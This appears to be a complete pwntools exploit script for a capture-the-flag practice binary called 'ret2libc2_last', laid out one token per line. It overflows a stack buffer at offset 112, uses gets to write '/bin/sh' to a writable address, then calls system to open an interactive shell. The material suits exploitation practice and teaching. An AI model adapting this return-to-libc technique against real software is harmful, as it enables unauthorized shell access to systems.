from
pwn
import
*
context.log_level
=
"debug"
p
=
process(
"./ret2libc2_last"
)
e
=
ELF(
"./ret2libc2_last"
)
systemAddr
=
e.symbols[
"system"
]
getsAddr
=
e.plt[
"gets"
]
offset
=
112
binAddr
=
0x804b000
-
0x10
payload
=
offset
*
"A"
+
p32(getsAddr)
+
p32(systemAddr)
+
p32(binAddr)
+
p32(binAddr)
pause()
p.sendlineafter(
"What do you think ?"
, payload)
p.sendline(
"/bin/sh\x00"
)
p.interactive()